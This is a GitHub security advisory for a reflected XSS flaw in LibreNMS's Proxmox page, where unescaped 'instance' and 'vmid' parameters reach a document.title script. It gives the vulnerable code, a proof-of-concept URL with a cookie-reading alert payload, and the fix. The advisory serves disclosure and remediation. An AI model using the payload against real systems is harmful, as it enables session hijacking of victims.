GitHub Advisoryadvisory · Packagist
GHSA-jmqm-f8q4-v7wx LibreNMS: Reflected XSS via Proxmox instance/vmid GET parameters injected into document.title JavaScript assignment
MEDIUM
Official page ↗
- Aliases
- CVE-2026-45694
- Ecosystem
- Packagist
- Packages
- librenms/librenms
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-08-12
Affected packages
• Packagist librenms/librenms: < 26.5.0 → fixed in 26.5.0
Description
Summary
`LegacyController.php:75` writes the page title into a `document.title` JS assignment using string interpolation. `apps/proxmox.inc.php` pushes `$vars['instance']` and `$vars['vmid']` (GET params, only `strip_tags()` applied) directly into `$pagetitle`. A single quote terminates the JS string, executing arbitrary script.
Details
```php
// LegacyController.php:75
$html .= "\ndocument.title = '$title';\n";
// proxmox.inc.php:38,42
$pagetitle[] = $instance; // GET ?instance=
$pagetitle[] = $vars['vmid']; // GET ?vmid=
```
PoC
```
http://target/apps?app=proxmox&instance=%27%3Balert%28document.cookie%29%3B//
Confirmed in response:
document.title = 'Apps - Proxmox - ';alert(document.cookie);// - LibreNMS';
```
Fix
```php
// LegacyController.php:75
$html .= "\ndocument.title = " . json_encode($title) . ";\n";
```
Also wrap `$instance` and `$vars['vmid']` in `htmlspecialchars()` in proxmox.inc.php.
Prerequisite
Any authenticated session. Victim must follow a crafted link.
Related
Alias · CVE (1)
- CVE-2026-45694 LibreNMS is a network monitoring system. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness